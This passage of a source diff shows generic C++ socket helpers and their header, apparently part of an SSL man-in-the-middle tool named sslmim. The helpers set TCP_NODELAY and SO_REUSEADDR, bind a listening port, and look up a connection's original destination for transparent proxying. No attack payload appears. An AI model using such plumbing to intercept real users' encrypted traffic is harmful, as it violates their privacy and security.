25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include <stdio.h>
33#include <sys/types.h>
34#include <sys/socket.h>
35#include <netinet/in.h>
36#include <netinet/tcp.h>
37#include <string.h>
38#include <string>
39#include <errno.h>
40
41#include "socket.h"
42
43namespace NS_Socket {
44
45string error;
46
47const char *why()
48{
49 return error.c_str();
50}
51
52// disable Mr. Nagle's algorithm
53int nodelay(int sock)
54{
55 int one = 1;
56 socklen_t len = sizeof(one);
57
58 if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0) {
59 error = "NS_Socket::nodelay::setsockopt: ";
60 error += strerror(errno);
61 return -1;
62 }
63
64 return 0;
65}
66
67// make socket ready for port-reuse
68int reuse(int sock)
69{
70 int one = 1;
71 socklen_t len = sizeof(one);
72
73 if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, len) < 0) {
74 error = "NS_Socket::reuse::setsockopt: ";
75 error += strerror(errno);
76 return -1;
77 }
78
79 return 0;
80}
81
82#ifdef FREEBSD
83#define LINUX22
84#endif
85
86// obtain real destination of connection
87int dstaddr(int sock, sockaddr_in *dst)
88{
89 if (!dst) {
90 error = "NS_Socket::dstaddr: dst == NULL";
91 return -1;
92 }
93
94#ifdef LINUX22
95 socklen_t size = sizeof(sockaddr_in);
96 if (getsockname(sock, (struct sockaddr*)dst, &size) < 0) {
97 error = "NS_Socket::dstaddr::getsockname: ";
98 error += strerror(errno);
99 return -1;
100 }
101#elif defined(LINUX24)
102#include <linux/netfilter_ipv4.h>
103 socklen_t size = sizeof(sockaddr_in);
104 if (getsockopt(sock, SOL_IP, SO_ORIGINAL_DST, dst, &size) < 0) {
105 error = "NS_Socket::dstaddr::getsockopt: ";
106 error += strerror(errno);
107 return -1;
108 }
109#else
110#error "Not supported on this OS yet."
111#endif
112 return 0;
113}
114
115int bind_local(int sock, int port, bool do_listen)
116{
117 struct sockaddr_in saddr;
118
119 memset(&saddr, 0, sizeof(saddr));
120
121 saddr.sin_port = htons(port);
122 saddr.sin_family = AF_INET;
123
124 if (reuse(sock) < 0)
125 return -1;
126
127 if (bind(sock, (struct sockaddr*)&saddr, sizeof(saddr)) < 0) {
128 error = "NS_Socket::bind_local::bind: ";
129 error += strerror(errno);
130 return -1;
131 }
132
133 if (do_listen) {
134 if (listen(sock, SOMAXCONN) < 0) {
135 error = "NS_Socket::bind_local::listen: ";
136 error += strerror(errno);
137 return -1;
138 }
139 }
140 return 0;
141}
142
143
144}; // namespace
diff --git a/other/sslmim/socket.h b/other/sslmim/socket.h
new file mode 100644
index 0000000..e0fad4e
--- /dev/null
+++ b/other/sslmim/socket.h
@@ -0,0 +1,55 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#ifndef _MY_SOCKET_H_
33#define _MY_SOCKET_H_
34
35#include <sys/types.h>
36#include <sys/socket.h>
37#include <netinet/in.h>
38
39namespace NS_Socket {
40
41const char *why();
42
43int nodelay(int sock);
44
45int reuse(int sock);
46
47int dstaddr(int sock, sockaddr_in *dst);
48
49int bind_local(int sock, int port, bool do_listen);
50
51
52}; // namespace
53
54#endif // _MY_SOCKET_H_
55